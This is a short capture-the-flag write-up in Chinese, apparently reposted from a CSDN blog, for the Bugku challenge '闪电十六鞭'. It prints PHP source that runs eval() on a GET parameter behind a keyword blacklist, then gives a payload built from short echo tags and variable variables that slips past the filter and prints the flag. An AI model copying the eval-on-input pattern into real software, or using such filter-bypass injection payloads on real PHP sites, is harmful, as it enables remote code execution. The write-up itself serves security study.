二十八、bugku 闪电十六鞭
作者:互联网
php字符对照
"="
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
?flag=return%27d80d94ea3543f3677e904dd762dc613b764cb262%27;
<?=flag;?>?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111
使用短标签可以构造出echo:
<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>当你发现你的PHP不支持使用短标签,请到PHP的安装目录下找到php.ini文件,去改。
在PHP中,大括号“{}”可以起到如下作用:
将多个独立语句合并为一个复合语句,例如 if … else …中经常如此使用
在变量间接引用中进行定界,避免歧义。例如 ${$my_var[8]}
与${$my_var}[8]
的区分
用于指示字符串变量中的单个字符(下标从0开始)。
标签:bugku,二十八,闪电,GET,echo,flag,PHP,标签,else 来源: https://blog.csdn.net/m0_53008479/article/details/120123619